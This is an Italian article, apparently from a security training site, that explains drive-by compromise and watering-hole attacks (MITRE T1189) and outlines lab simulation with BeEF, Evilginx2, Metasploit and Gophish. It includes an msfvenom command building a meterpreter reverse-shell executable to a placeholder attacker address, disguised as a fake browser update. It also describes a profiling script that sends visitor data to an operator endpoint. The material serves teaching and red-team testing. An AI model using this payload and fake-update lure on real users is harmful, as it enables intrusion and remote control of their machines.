Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Arile! Scopri di più
Il drive-by compromise è una tecnica di Initial Access (TA0001) attraverso la quale un avversario ottiene l'esecuzione di codice su un sistema semplicemente inducendo la vittima a visitare una pagina web compromessa. A differenza dell'exploitation di servizi esposti su Internet, qui il bersaglio è il software client — browser, plugin, motori di rendering — che gira sulla workstation interna, ben oltre la DMZ.
I vettori di distribuzione sono molteplici: iniezione di codice malevolo in siti legittimi, manipolazione di file JavaScript ospitati su bucket cloud con permessi di scrittura pubblici, malvertising tramite circuiti pubblicitari regolari, cross-site scripting su interfacce web con input non sanitizzato, e persino abuso delle notifiche push del browser che, una volta accettate, concedono al sito la capacità di eseguire JavaScript arbitrario.
La variante più chirurgica prende il nome di watering hole (o strategic web compromise): l'attaccante compromette un sito frequentato da una comunità specifica — governativa, settoriale, geografica — per colpire un sottoinsieme preciso di utenti. Il processo tipico prevede il riconoscimento automatico della versione di browser e plugin, la consegna dell'exploit solo se il target è vulnerabile, e l'ottenimento dell'esecuzione di codice sulla macchina della vittima.
Con 31 gruppi APT, 10 famiglie malware, 3 campagne documentate e 5 mitigazioni mappate, T1189 è una delle tecniche di accesso iniziale più diffuse e trasversali nel panorama threat.
Simulare un drive-by compromise in laboratorio richiede due componenti: un'infrastruttura web che profili il browser della vittima e un payload che sfrutti una vulnerabilità o induca l'utente a un'azione. Il modo più diretto per allestire il primo componente è BeEF — Browser Exploitation Framework (open source), che trasforma un semplice hook JavaScript in un pannello di controllo completo sul browser della vittima.
Si parte avviando BeEF sul proprio server d'attacco e iniettando il tag hook in una pagina HTML controllata. Una volta che il target visita la pagina, il browser viene "agganciato" e compare nella dashboard. Da lì è possibile lanciare moduli di ricognizione — fingerprint del browser, enumerazione dei plugin, rilevamento della rete interna tramite WebRTC — e moduli di exploitation che tentano di forzare il download o l'esecuzione di payload.
Per replicare uno scenario watering hole più realistico, si può combinare BeEF con Evilginx2 (open source) o con un semplice reverse proxy NGINX che inietta il tag hook nelle risposte HTML di un sito clonato. La catena diventa: vittima visita il sito clonato → il proxy inietta lo script → BeEF profila il browser → il modulo exploitation consegna il payload.
Sul lato payload, Metasploit Framework (open source) offre il modulo exploit/multi/browser/browser_autopwn2 che automatizza la selezione dell'exploit corretto in base alla versione del browser rilevata. In alternativa, per scenari che simulano il social engineering via fake update — come fa il malware SocGholish secondo i dati di campagna — si può allestire una landing page con un finto aggiornamento del browser che serve un eseguibile generato con msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP_ATTACCANTE> LPORT=443 -f exe -o update.exe
Per il profiling JavaScript lato client, ispirato al tool RICECURRY usato da APT37, si può scrivere un semplice script che raccoglie navigator.userAgent, la lista dei plugin attivi via navigator.plugins, la risoluzione dello schermo e l'indirizzo IP interno tramite WebRTC, inviando il tutto a un endpoint controllato dall'operatore. Questo consente di consegnare l'exploit solo ai target che rientrano nel profilo desiderato, riducendo l'esposizione dell'infrastruttura.
Infine, per testare le difese contro il malvertising, Gophish (open source) permette di orchestrare campagne che reindirizzano a landing page controllate, misurando quanti utenti arrivano alla pagina e quanti eseguono il payload. Non è un ad network, ma simula efficacemente il flusso click → redirect → exploit page.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo